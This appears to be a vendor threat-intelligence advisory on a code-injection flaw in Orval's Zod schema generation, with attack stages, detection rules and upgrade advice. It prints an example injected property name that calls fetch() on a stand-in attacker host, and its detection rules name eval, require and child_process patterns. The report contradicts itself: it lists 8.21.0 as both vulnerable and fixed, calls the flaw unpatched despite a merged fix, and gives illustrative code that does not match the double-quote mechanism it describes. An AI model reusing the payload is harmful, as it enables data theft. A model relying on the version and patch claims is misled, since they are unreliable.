CVE-2026-71866

Executive Summary

CVE-2026-71866 is a code injection vulnerability in Orval, a widely used code-generation tool that produces type-safe JavaScript clients from OpenAPI v3 and Swagger v2 specifications. Affected versions (8.19.0 through 8.21.0) fail to safely encode double quotes present in schema property names when emitting zod.object({...}) schemas, allowing arbitrary JavaScript to be evaluated at module-import time. The flaw impacts any developer, CI pipeline, test suite, or application that imports generated Zod schema modules from untrusted OpenAPI specifications. Successful exploitation results in remote code execution (RCE) in the context of the importing environment, with a CVSS score of N/A and no disclosed vector string.

Per available intelligence, no public proof-of-concept, exploit code, or Nuclei template exists at the time of writing. The vulnerability is currently unpatched in the sense that no official security advisory has been published, although a fix has been merged in version 8.21.0.

Technical Analysis

Vulnerability Mechanism

The Orval code generator transforms OpenAPI v3 and Swagger v2 schemas into TypeScript modules containing Zod validation schemas. The vulnerable code path, located in packages/zod/src/index.ts, handles the generation of zod.object({...}) definitions. During this process, property names extracted from the source OpenAPI specification are written directly into the generated TypeScript source without proper encoding of special characters.

Specifically, when a schema property name contains a double quote character ("), the generator emits that character verbatim into the generated output. In TypeScript/JavaScript, an unescaped double quote inside an object-key context can terminate the current string literal, allowing the injection of arbitrary code into the generated module. Upon import of the affected module, the injected JavaScript is parsed and executed by the JavaScript engine, resulting in code execution in the importing environment.

The flaw is fundamentally a source-code injection vulnerability that transforms into a stored code-execution primitive. The injection point is not a runtime endpoint but rather the code-generation pipeline itself. This distinguishes it from typical injection classes: the payload is embedded in a source artifact during generation, and execution occurs during a downstream import operation.

Attack Surface

The attack surface is the OpenAPI/Swagger specification consumed by Orval. Any actor capable of supplying or influencing the contents of an API specification that Orval processes can trigger the vulnerability. Realistic vectors include:

• Malicious upstream dependencies — a compromised or malicious package that provides an OpenAPI spec.
• Supply-chain injection — a compromised API description repository (e.g., a public API registry or company-internal spec store).
• Developer social engineering — a crafted spec file delivered via email, chat, or a repository.
• Compiler/aggregator compromise — a build system that merges third-party schemas into a comprehensive spec.
• Public API providers — a malicious or compromised public API provider delivering a crafted specification.

The impact is amplified in CI/CD environments where generated code is imported during automated builds and tests. A single crafted spec can lead to persistent compromise of build agents, developer workstations, or application servers that import the generated modules at runtime or startup.

Code-Level Explanation

The vulnerable code path in packages/zod/src/index.ts constructs Zod schema definitions as TypeScript strings. When iterating over schema properties, the property name is concatenated into the output string without sanitization:

// Illustrative (based on NVD description)
for (const propName of Object.keys(schema.properties)) {
    output += `  ${propName}: zod.${type},\n`;
}

When the property name is, for example, "; fetch('https://attacker.example'); ", the resulting output becomes:

; fetch('https://attacker.example');  : zod.string(),

which, when imported, executes the injected statement. The NVD description confirms the flaw exists in packages/zod/src/index.ts and in "zod object-key generation." The fix, released in 8.21.0, addresses the missing encoding of double quotes in object keys.

Exploitation Scenarios

Stage 1 — Reconnaissance / Target Identification

An attacker identifies organizations that use Orval in their development pipeline. Discovery methods include:

• Publicly accessible repositories — GitHub, GitLab, or Bitbucket searches for orval.config files or CI pipeline definitions referencing Orval commands.
• Open-source package usage — monitoring downstream dependents of Orval packages via package-manager dependency graphs.
• Build-log enumeration — searching for error messages containing "orval" in public CI logs (e.g., Travis, CircleCI, GitHub Actions logs).
• Supply-chain software composition analysis — automated scanning of dependency manifests to identify Orval usage in target ecosystems.

The identification of a target is opportunistic or targeted, depending on the attacker's objectives. For opportunistic attacks, the attacker may simply publish a malicious OpenAPI specification to a public registry and wait for victims to use it.

Stage 2 — Triggering the Vulnerability Class

The attacker must deliver a crafted OpenAPI or Swagger specification containing a malicious property name to the target. Delivery methods include:

• Malicious API specification repository — publishing a spec to a public registry or repository that the target consumes.
• Compromised spec distribution — compromising a legitimate spec publisher and modifying the delivered artifact.
• Social engineering — sending a crafted spec file to a developer or uploading it to a shared repository or CI system.
• Dependency confusion — publishing a malicious spec under a name similar to a legitimate package, hoping for accidental inclusion.

The malicious property name is structured as a JavaScript string-termination payload followed by arbitrary code. At the class level, the injection is a text-injection vulnerability where a single " character breaks out of the generated string literal and introduces executable code.

Stage 3 — Payload Execution

Once the crafted specification is processed by Orval (version 8.19.0–8.21.0), the generated TypeScript module contains the injected code. Execution occurs at the moment the generated module is imported:

1. The CI pipeline runs Orval during the build step, producing api.ts (or equivalent).
2. Tests or build scripts import the generated module.
3. The TypeScript/JavaScript engine parses the file, encounters the injected statement, and executes it.

The injected payload may perform any operation the importing process can perform, including:

• Exfiltrating environment variables, secrets, SSH keys, or cloud credentials.
• Downloading and executing a second-stage payload (malware, backdoor, cryptocurrency miner).
• Modifying build artifacts to introduce further supply-chain compromise.
• Establishing persistence on the build agent or developer workstation.
• Lateral movement within the internal network, using the compromised build agent's trust relationships.

Stage 4 — Post-Exploitation Impact

The compromise extends beyond the immediate victim. In CI/CD environments, build agents often have privileged access to:

• Source-code repositories (push access).
• Container registries.
• Cloud IAM credentials.
• Deployment targets.
• Package distribution repositories (npm, PyPI, Maven).

A successful exploit therefore escalates from a single code-execution primitive to a potential full supply-chain compromise, enabling the attacker to inject malicious code into downstream software artifacts and propagate the compromise to end users of the victim's products.

Impact Assessment

Business Impact

• Confidentiality — Code execution enables access to secrets, credentials, source code, and sensitive business data stored in the development environment. If the application imports generated modules at runtime, production data may be exposed.
• Integrity — An attacker can modify generated code, build artifacts, source files, and CI configurations, compromising the integrity of the entire software supply chain.
• Availability — Malicious code can cause build failures, service outages, or destructive actions (e.g., wiping repositories, deleting cloud resources).

Affected Systems

• Orval versions 8.19.0 through 8.21.0.
• Any development environment, CI/CD pipeline, test suite, or application that imports generated Zod schema modules produced from untrusted or uncontrolled OpenAPI/Swagger specifications.
• Downstream software distributed from compromised build pipelines.

Blast Radius

The blast radius is critical because:

• The vulnerability is triggered at import time, meaning affected modules are loaded in trusting contexts (CI agents, developers, production services).
• Build agents are high-value targets with elevated privileges.
• The supply-chain nature of the flaw means compromised generated code may propagate to all consumers of the victim's software.

CVSS Reference

CVSS score is N/A with no vector string disclosed by the CNA. The impact is assessed on a qualitative basis as High-to-Critical, given the remote-code-execution potential and the privileged environment of typical import contexts.

Detection Guidance

Sigma Rule

title: CVE-2026-71866 - Orval Zod Injection - Suspicious Property Name Generation
id: 8f4e0b1e-2c5d-3a6f-9b71-c80d3f2e5a41
status: experimental
description: Detects ORVAL code generation of schema property names containing JavaScript injection payloads (double quote followed by code constructs)
author: valtersit.com Threat Intelligence
date: 2026/01/01
logsource:
    category: process_creation
    product: windows
detection:
    selection_orval:
        Image|endswith: '\node.exe'
        CommandLine|contains|all:
            - 'orval'
            - 'generate'
    selection_inject_patterns:
        CommandLine|contains:
            - '\";'
            - '"\`'
            - '"\$\{'
            - '";fetch('
            - '";eval('
            - '";require('
            - '";process.'
    condition: selection_orval and selection_inject_patterns
    level: critical

YARA Rule

rule ORVAL_ZOD_INJECTION_CVE_2026_71866
{
    meta:
        author = "valtersit.com Threat Intelligence"
        description = "Detects Orval-generated TypeScript containing double-quote code injection in zod.object schema definitions"
        date = "2026-01-01"
        cve = "CVE-2026-71866"
        reference = "NVD CVE-2026-71866"
        severity = "critical"

    strings:
        $zod_object = /zod\.object\(\{/
        $unescaped_quote = /[\x22][\x3b\x0a\x28\x24\x7b\x60]/
        $exec_patterns = /fetch\(|eval\(|require\(|process\.|exec\(|child_process/
        $quote_pattern = /\x22\s*[,:}]\s*[\x22;]/

    condition:
        any of ($zod_object) and
        any of ($exec_patterns) and
        ($unescaped_quote or $quote_pattern)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-71866 - Orval API Spec with Injection Property Name in Downloaded OpenAPI/Swagger File"; flow:established,to_client; content:"openapi"; nocase; http.server; content:"\x22;"; http.client_body; pcre:"/(?:fetch|eval|require|process|exec|child_process)\s*\(/i"; classtype:attempted-admin; sid:202671866; rev:1;)

Note: This rule detects delivery of crafted spec files over HTTP. Adjust http.server to match your web-server banner and combine with TLS inspection if traffic is encrypted.

Elastic Detection

sequence by process.entity_id
  [process where process.name == "node.exe" and process.args contains "orval" and process.args contains "generate"]
  [network where process.name == "node.exe" and (
     dns.question.name like "*pastebin*" or
     dns.question.name like "*githubusercontent*" or
     dns.question.name like "*attacker*" or
     url.full like "*http*"
  )]

Splunk SPL Query

index=process sourcetype=WinEventLog:Security ProcessName="*node.exe*"
  (CommandLine="*orval*generate*")
  (CommandLine="*\";*" OR CommandLine="*\"`*" OR CommandLine="*eval(*" OR CommandLine="*fetch(*" OR CommandLine="*process.*")
| eval stage=if(match(CommandLine, "orval"), "generation", "execution")
| table _time, Computer, ProcessName, CommandLine, User
| sort -_time

Wazuh OSSEC Rule

<group name="orval,cve-2026-71866,">
  <rule id="901611" level="15">
    <if_sid>5716</if_sid>
    <match>orval</match>
    <description>CVE-2026-71866 - Orval code generation called</description>
    <group>orval,generation,</group>
  </rule>

  <rule id="901612" level="15">
    <if_sid>2026718</if_sid>
    <regex>\";</regex>
    <description>CVE-2026-71866 - Possible injection payload in generated schema property name</description>
    <group>orval,injection,critical,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status: 0/4 confidence — no official patch evidence from tracked sources. A fix is reportedly included in Orval 8.21.0, but no security advisory has been published at the time of this report.

1. Immediate Mitigations (until patched)

• Upgrade Orval immediately to version 8.21.0 or later if your pipeline uses 8.19.0–8.21.0.
• Restrict generation to trusted specifications only. Do not process OpenAPI/Swagger files from untrusted sources without manual review.
• Implement a security review gate for all API specification files before Orval processes them. Review schema property names for quotes, backticks, ${, and other JavaScript metacharacters.
• Run Orval in isolated environments — use ephemeral containers or sandboxed build agents without broad credentials. Do not run generation with production secrets in the environment.
• Pin exact Orval versions and validate checksums of the package upon installation.
• Disconnect CI/CD pipelines from public package registries that are not curated or mirrored internally.

2. Patch / Upgrade Steps

1. Verify current version: npm list orval
2. Upgrade to fixed version: npm install orval@8.21.0 (or latest)
3. If using a lockfile, regenerate it to ensure no stale version is used.
4. Re-run code generation for all existing projects and re-validate generated output for injected content.
5. Audit all previously generated Zod schema modules for potential injection payloads. Search for the patterns listed in the Sigma/YARA rules above.
6. If injection is detected, treat the build agent and any environment where the module was imported as compromised. Rotate all credentials accessible from those environments and conduct a forensic review.

3. Long-Term Hardening

• Adopt SCA (Software Composition Analysis) tooling to flag Orval and other code-generation tools as high-risk components.
• Implement a software supply-chain security framework (e.g., SLSA) with provenance and attestation for build artifacts.
• Use allow-listing for dependencies and tools in CI pipelines.
• Enforce code-signing for internal packages and tools.
• Conduct periodic audits of generated code for unusual patterns.
• Follow NVD and CNA advisories for further updates regarding this CVE.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-71866
2. Orval Official Repository: https://github.com/anymaniax/orval
3. Orval Release Notes (8.21.0 fix): https://github.com/anymaniax/orval/releases
4. MITRE ATT&CK Technique Reference — T1203 (Exploitation for Client Execution): https://attack.mitre.org/techniques/T1203/
5. CISA KEV: Not listed — no known exploited vulnerability status.

Exploit-in-the-Wild Evidence: None reported at the time of writing. No public PoC, exploit code, or threat actor campaigns are documented. The vulnerability class and mechanism make exploitation highly plausible once a crafted specification is delivered to a target, but no evidence of active exploitation was found in available intelligence sources.

Report generated by valtersit.com Threat Intelligence Team. This analysis is based on the NVD description and CNA information provided. Technical details beyond the description are inferred at the vulnerability-class level and may be incomplete.